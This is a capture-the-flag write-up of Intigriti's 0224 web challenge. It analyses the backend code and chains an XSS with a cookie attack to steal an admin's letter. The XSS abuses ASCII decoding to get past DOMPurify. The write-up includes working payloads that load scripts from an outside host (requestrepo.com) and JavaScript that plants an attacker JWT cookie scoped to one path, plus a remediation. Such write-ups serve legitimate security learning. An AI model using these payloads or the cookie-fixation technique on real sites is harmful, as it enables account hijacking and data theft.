Logo
Published on

Intigriti Valentines challenge 0224 writeup

Authors

Source: Intigriti

Solves: 34

Introduction

Another fun challenge hosted by Intigriti that made me dig deep and find out about some interesting things regarding cookies and how decoding values in a specific encoding format can lead to unexpected consequences.

Reconnaissance

Login page

This time around we are presented with a Valentines themed web page. The entry point seems to be a login / register page.

Login

Home page

After registering our account we are automatically redirected to the home page.

HomePage

Love Letters

The love letters page is where the user can set letters and read them afterwards by supplying his password.

Letters

Contact Admin page

The contact admin page is where the user can supply a link to the admin and the admin opens it. This page also displays the actions the admin performs.

Admin

Goal

Based on the challenge info our goal is to steal the letter from the adming account instead of the usual flag. From the looks of it this might be a multi stage challenge where we need to chain more than one vulnerabillity.

Source code analysis

The source code is included as part of the challenge and by downloading it we get access only to the Backend of the application which mainly uses Nodejs, Express, JSDom, DOMPurify and jsonwebtoken.

The application consists of multiple routes, a few of which are related to internals like authentication and user creation. The register user endpoint is intereseting since we can see how for each new user a linked admin user is set.

app.post('/register', async function (req, res) {
    try {
        const {
            username,
            password
        } = req.body;
        const user = await Users.findOne({
            where: {
                username
            }
        });
        if (user) {
            return res.status(400).send("User already exists");
        } else {
            const hash = await bcrypt.hash(password, 10);
            const newUser = {
                username,
                password: hash,
                linkedUserID: null // Temporary value - gets set set when admin user is created
            };
            try {
                const createdUser = await Users.create(newUser);
                for (let i = 0; i < 4; i++) {
                    console.log("Making letter " + i + " for user " + createdUser.username);
                    await Letters.create({
                        letterId: i,
                        userId: createdUser.id,
                        isSet: false,
                        letterValue: "",
                    });
                }
                const adminHash = await bcrypt.hash(process.env.ADMIN_PASSWORD, 10);
                const adminUser = { // This is just for the admin sender feature so every player gets a unique target.
                    username: `admin-${createdUser.username}`,
                    password: adminHash,
                    linkedUserID: createdUser.id 
                };
                const createdAdmin = await Users.create(adminUser);

                for (let i = 0; i < 4; i++) {
                    console.log("Making letter " + i + " for user " + createdAdmin.id);
                    const adminData = {
                        letterId: i,
                        userId: createdAdmin.id,
                        isSet: false,
                    };
                    if (i === 3) { // Set the letter for Intigriti community <3
                        // It's a base64 string in env called loveletter
                        adminData.letterValue = Buffer.from(process.env.ADMIN_LETTER, 'base64').toString('ascii');
                        adminData.isSet = true;
                    }
                    await Letters.create(adminData);
                }
            } catch (err) {
                console.error(err);
                return res.status(500).send("Error creating user");
            }
            return res.status(200).send("User registered!");
        }
    } catch (err) {
        console.error(err);
        return res.status(500).send("An error occurred");
    }
});

Whenever a new user registers, a corresponding admin user with the prefix admin- is created as well which will serve as the user that stores the letter we want to steal eventually.

Functional bug

There is a functional bug here which is unrelated to the challenge where we can register e.g admin-damjan first and then proceed to create the user damjan so the logic would fail due to the non unique username field due to us creating admin-damjan before. The damjan user ends up being created but we can't do much since linkedUserId is never set. Not important but interesting find.

Debug endpoints

Scrolling further down we can see the logic behind the endpoints for storing letters, reading letters, deleting letters and the admin visiting url logic, however what is interesting is near the very end where we can find two debugging endpoints.

// A place for us to run tests without affecting prod letters!
// Currently testing:
// - Rich text via HTML with DOMPurify for safety
// - Base64 encoding
app.get("/setTestLetter", async function (req, res) {
    try {
        const { msg } = req.query;

        if (!msg) {
            return res.status(400).send("Missing msg parameter");
        }

        // We are testing rich text for the love letters! Best be safe!
        const cleanMsg = DOMPurify.sanitize(msg);

        const letter = await DebugLetters.create({
            letterValue: Buffer.from(cleanMsg).toString('base64')
        });

        return res.redirect(`/readTestLetter/${letter.letterId}`);
    } catch (err) {
        console.error(err);
        return res.status(500).send("An error occurred");
    }
});

app.get("/readTestLetter/:uuid", async function (req, res) {
    try {
        const { uuid } = req.params;

        if (!uuid) {
            return res.status(400).send("Missing uuid in path parameter");
        }

        const letter = await DebugLetters.findOne({
            where: { letterId: uuid }
        });

        if (!letter) {
            return res.status(404).send("Letter not found");
        }

        const decodedMessage = Buffer.from(letter.letterValue, 'base64').toString('ascii');

        return res.status(200).send(decodedMessage);
    } catch (err) {
        console.error(err);
        return res.status(500).send("An error occurred");
    }
});

Seems that these endpoints are used for testing purposes in setting an reading letters (unrelated to the other set/read letter logic). Quickly testing out the setTestLetter endpoint with msg as the query we can see that our input is reflected on the page:

https://api.challenge-0224.intigriti.io/setTestLetter?msg=test

SetTestLetter

The logic behind setTestLetter is simple:

  1. Checks whether msg parameter supplied as part of the query.
  2. Sanitizes the msg input with DOMPurify.
  3. Encodes the msg value in base64 and creates the letter in the database.
  4. Redirects the user to /readTestLetter/{letterId} which is returned from the previous step.

For readTestLetter we need to supply the letterId as part of the path e.g /readTestLetter/{your_id} and the logic is as follows:

  1. Check if uuid has been supplied.
  2. Search the DB for that uuid.
  3. Decode the returned base64 value into ascii.
  4. Return the value.

After this the value is displayed on the Frontend. Based on this logic our first guess is to find a way to leverage a vulnerability in the logic which will allow us to perform XSS.

Admin endpoint

Finally we can dissect the logic behind sendAdminURL which is our victim from which we want to steal the letter.

app.post("/sendAdminURL", adminLimiter, passport.authenticate('jwt', { session: false }), async function (req, res) {
    const safetySleepMS = 1500; // (ms) Sometimes it can get a bit tangled if it's too fast
    const thoughts = [];
    let browser;
    try {
        const {
            adminURL
        } = req.body;

        const host = new URL(adminURL).host;

        // Make sure the host is part of the challenge domain
        // frontend = challenge-0224.intigriti.io
        const hostRegex = new RegExp(`^(?:[a-zA-Z0-9-]+\\.)*${process.env.FRONTEND_URL.replace(/\./g, '\\.')}$`);

        if (!adminURL) {
            return res.status(400).send("Empty URL");
        } else if (!hostRegex.test(host)) {
            thoughts.push("Not too sure what this host is, I'd best be safe and not click it.");
            return res.status(400).json(thoughts);
        }

        console.log("Launching puppeteer");
        browser = await puppeteer.launch({
            timeout: 0,
            executablePath: "/usr/bin/chromium-browser",
            headless: "new",
            defaultViewport: null,
        });

        const linkedUser = await Users.findOne({
            where: {
                linkedUserID: req.user.id
            },
            include: [{
                model: Letters,
                as: 'letters',
                attributes: {
                    exclude: ['letterValue'],
                },
            }],
        });

        if (!linkedUser) {
            return res.status(500).send("Error finding user");
        };

        let page = await browser.newPage();
        await page.setDefaultTimeout(3000);

        // The challenge simulates a user who is logged in already, so we'll do that first otherwise it's no fun!
        await page.goto(`https://${process.env.SELF_HOST}/login`);
        await page.waitForSelector("#username");
        await sleep(safetySleepMS);

        await page.type("#username", linkedUser.username);
        await page.type("#password", process.env.ADMIN_PASSWORD);
        await page.click("#login");

        await page.waitForSelector("#letter_bank");
        // Logged in and ready to go!

        thoughts.push(`${host}! I recognize that domain! I'll just click this link and see what it is.`);

        await page.goto(adminURL, {
            waitUntil: 'networkidle0'
        });

        thoughts.push("I shouldn't have clicked that link. I'll open the site directly to check things are safe.");
        
        await page.close();
        page = await browser.newPage();
        await page.goto(`https://${process.env.FRONTEND_URL}/letters`, {
            waitUntil: 'networkidle0'
        });

        // Simulate the admin checking the name in the top right to ensure they're on the right account
        const user = await page.evaluate((url) => {
            return fetch(`https://${url}/user`, {
                method: 'GET',
                credentials: 'include'
            })
                .then(response => response.json())
                .catch(error => console.error('Error:', error));
        }, process.env.SELF_URL);

        // Make sure the admin is logged into their own account
        if (!user || user.user.username !== linkedUser.username) {
            thoughts.push("Whose account is this? Something's not right. I'll close the browser and go about my day.");
            await browser.close();
            return res.status(200).json({ thoughts });
        }

        const letterData = await page.evaluate((url) => {
            return fetch(`https://${url}/getLetterData`, {
                method: 'GET',
                credentials: 'include'
            })
                .then(response => response.json())
                .catch(error => console.error('Error:', error));
        }, process.env.SELF_URL);

        const letterIsSet = letterData.userLetters[3].isSet;

        if (letterIsSet) {
            thoughts.push("I can see that the Intigriti letter is safely set! My secret is safe! I'll go about my day now.");
            await browser.close();
            return res.status(200).json({ thoughts });
        }

        thoughts.push("I can see I'm missing a letter? Did I forget? Weird. I'll just set it now...");

        const adminLetterText = Buffer.from(process.env.ADMIN_LETTER, 'base64').toString('ascii');
        await page.evaluate((url, letter) => {
            // Existing fetch request
            fetch(`https://${url}/storeLetter`, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify({
                    letterId: 3,
                    letterValue: letter
                }),
                credentials: 'include'
            });
        }, process.env.SELF_URL, adminLetterText);

        thoughts.push("Letter submitted! I'll close the browser now and go about my day.");

        await browser.close();

    } catch (e) {
        console.log("Caught an error: ", e);

        try {
            await browser.close();
        } catch (err) {
            console.error(err);
        }

        return res.status(500).json({ thoughts });
    }
    console.log("Exiting /sendAdminURL endpoint");
    return res.status(200).json({ thoughts });
});

The logic is as follows:

  1. Checks if adminURL has been supplied in the body.
  2. Checks if the adminURL is part of the challenge-0224.intigriti.io domain.
  3. Launches pupeteer.
  4. Fetches the admin user details from the db.
  5. Logs in.
  6. Opens the provided link via adminURL.
  7. Closes the tab after load.
  8. Navigates to /letters in a new tab.
  9. Checks whether the logged in user is the admin user.
    • Exits if it is not.
  10. Checks whether the letter with ID 3 has been set.
    • Exits if set
    • If not set, Sends a POST request to storeLetter and sets the letter.
  11. Closes browser

The authentication relies on the jwt cookie which is set as HTTPONLY and used for all requests towards the api subdomain.

Exploitation

Rabbit hole

What is a challenge without going into a rabbit hole where the frustration increases relative to the time spent.

Again we have DOMPurify as the previous challenges and a smart person would say:

No point to try to bypass DOMPurify and look for a 0 day since that is probably not the right attack vector right ?.

Wrong, of course I will try to bypass DOMPurify and find a 0 day.

TLDR: I didn't

Diving into the journey of bypassing DOMPurify I learned some interesting things around loading in external stylesheets. Turns out we can load in external styles if we embeed them inside a svg element.

<svg>
<style>
@import("something.css")
</style>
</svg>

This will not get sanitized, so my assumption was to somehow leverage a rogue css import and get an XSS on the page. Turns out this has not been possible for some time, however I found ab interesting blog post that discusses around stealing sensistive data via CSS injection. It is all combined in HackTricks.

Even though I was not successfull, I learned about a new attack vector that can help me out in the future with credential harvesting.

XSS exploit

Around the time I gave up with the rabbit hole, the first hint came out on the Intigriti twitter.

Are you sure 128 characters are enough to fully express love?

This rang a bell that the XSS might be based around how the user supplied text was being decoded in the readTestLetter, the encoding format was ascii in our case. This actually came to mind initially, but I did not try with a wide range of charcaters and just left it.

Since ascii encoding consists of 128 characters, we can probably send a range of non ascii characters and see how they are decoded. Quickly asking ChatGPT to generate 100 non ascii characters and pasting them to the msg query parameter I got some interesting results.

My suspicion was that perhaps some of the characters might be wrongly decoded and become < or > which will allow me to open a script tag.

The character we can use ended up being ļ. This character gets interpreted as D< which will suffice for us to open and close our <script> tags and bypass DOMPurify. A quick test can confirm this:

https://api.challenge-0224.intigriti.io/setTestLetter?msg=ļscript>alert(1);//ļ/script>
XSS

Great, we got the XSS but we still have not solved the challenge since we need to somehow steal the admin note.

JWT Exploit

This journey was a fun one indeed and helped me understand cookies better and how they are processed and forwarded to the Backend.

Based on our analysis of the sendAdminURL endpoint we can see that our attack vector is probably around somehow tricking the admin of storing the letter on our attacker account instead of his own. This lead me through another rabbit flow of trying to overwrite the HTTP only jwt cookie without any success.

I ended up going for the brute solution, however I will include the clean solution as well.

Unreliable solution

The exploit will chain the XSS vulnerability we previously discovered as the first stage and perform a time based attack and replace the session as the second stage. This exploit requires tweaks on the wait time based on the server load and how fast the admin opens the url.

The attack revolves around guesing the time when the admin has confirmed that he is logged in with his own account and replacing his token with our attacker token right before he sets his letter. We also unset the letter via the unsetLetter endpoint right after loading our stage 2 script.

I was using Request repo to host my malicious JS. For the sake of simplicity the scripts will be named stage1.js and stage2.js.

Stage 1

The stage 1 payload is very simple and just opens a new tab with the stage 2 script. This is to bypass the logic where the admin closes the tab right away.

// Payload sent to admin: https://api.challenge-0224.intigriti.io/setTestLetter?msg=ļscript src="https://requestrepo.com/stage1.js">ļ/script>

window.open('https://api.challenge-0224.intigriti.io/setTestLetter?msg=ļscript src="https://requestrepo.com/stage2.js">ļ/script>', '_blank');

Stage 2

The second stage consists of:

  1. Deleting the letter with ID 3 right off the bat so we make sure the admin tries to set it again.
  2. Waiting for a few seconds
  3. Setting the jwt cookie with our attacker token
  4. Logging out via the logout endpoint.

// Function to set cookies based on provided values
function setCrossSubdomainCookie(name, value, domainVal, days) {
  const assign = name + "=" + escape(value) + ";";
  const d = new Date();
  d.setTime(d.getTime() + (days*24*60*60*1000));
  const expires = "expires="+ d.toUTCString() + ";";
  const path = "path=/;Priority=High;";
  const domain = "domain=" + domainVal + ";";
  document.cookie = assign + expires + path + domain;
}

// Uset the letter
async function main(){
    await fetch("https://api.challenge-0224.intigriti.io/unsetLetter", {
    method: 'POST',
    headers: {
      'Accept': 'application/json',
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({letterId: "3"})
  });

 setCrossSubdomainCookie("jwt", "<ATTACKER_TOKEN>", "api.challenge-0224.intigriti.io", 1000000)

 // Wait for admin to check his acc
 await new Promise(r => setTimeout(r, 2600));

 // Logout
 await fetch("https://api.challenge-0224.intigriti.io/logout", {method: 'DELETE'})
}

main()

The important part is to get the timing correct, so I had to adjust the wait value a few times by incrementing / decrementing by +/- 100ms for a few times. Eventually I managed to hit the correct timing and indeed the admin ended up creating the letter on my own account.

Flag

We got the flag via our time based attack.

Realiable solution

For my defense, I actually thought of this and tried it out locally but lacked the obvious knowlegde of cookies and dropped it right away without sending it to the admin. This solution is more or less the same approach, just instead of replacing path as / we should be setting the path as /storeLetter for the cookie. The only amend needs to be done in the second stage:

function setCrossSubdomainCookie(name, value, domainVal, days) {
  const assign = name + "=" + escape(value) + ";";
  const d = new Date();
  d.setTime(d.getTime() + (days*24*60*60*1000));
  const expires = "expires="+ d.toUTCString() + ";";
  const path = "path=/storeLetter;Priority=High;"; // < --- We are setting the cookie for the specific path here
  const domain = "domain=" + domainVal + ";";
  document.cookie = assign + expires + path + domain;
}

// Uset the letter
async function main(){
    await fetch("https://api.challenge-0224.intigriti.io/unsetLetter", {
    method: 'POST',
    headers: {
      'Accept': 'application/json',
      'Content-Type': 'application/json'
    },
    body: JSON.stringify({letterId: "3"})
  });

 setCrossSubdomainCookie("jwt", "<ATTACKER_TOKEN>", "api.challenge-0224.intigriti.io", 1000000)
}

main()

This approach does not require the logout and waiting since we are setting a specific cookie to a specific path, so the admin is logged in as expected and fetching the user details returns his account, however a different cookie is used for the storeLetter path.

Lessons to be learned

Throughout my investigation on how to chain the XSS vulnerability with the sensitive data exposure vulnerability to somehow get the admin to store the letter on my account I found out about a few things that will probably help others as well in similar challenges:

Previewing cookies that have been set

One of the first things i tried is to set the cookie for the storeLetter path with the second stage to:

document.cookie='jwt=<token>;Path=/storeLetter';

Then I ran the exploit which ends up on the readTestLetter page, however when we open the Chrome Dev Tools and check the Cookies we don't see the cookie there. This was an oversight on my side and kept thinking Chrome is somehow blocking me from setting the cookie to any other value than /.

Well turns out the cookie is set but it is not displaying because we are not on the storeLetter path which makes sense. If we have it at / as the path it will display because this serves as a wildcard for the whole domain and paths, so it is shown everywhere.

By navigating to https://api.challenge-0224.intigriti.io/storeLetter we can indeed see it gets attached as a cookie.

Multiple cookies with the same value

Another interesting thing that seems to happen is when we have multiple cookie with the same value. In such scenarios all of the cookies are sent as part of the request

This is how it looks like when we have the same cookie but set for a subdomain:

DuplicateCookies

As we can see in the request both of the values are sent:

CookieReq

Something that comes to mind with this discovery is to perhaps get our malicious cookie somehow be passed as the first value. By a quick manual switch I was able to confirm that indeed the first value is taken when multiple cookies with the same name are sent.

Unfortunately we won't be able to do that because I stumbled along this old blog post that clarified some things for me.

TLDR: Cookies are sorted first based on path length and then on creation-time, so in our case there is no way to inject our cookies beforehand.

Remediation

The fix around this is simple, instead of forcing the character encoding when decoding the base64 string, the toString should be invoked without any parameters so it defaults to UTF-8 (for buffers) and thus fixing the XSS vulnerability.

Moral of the story

You don't need to understand how cookies work when you can become a brute and accept no defeat.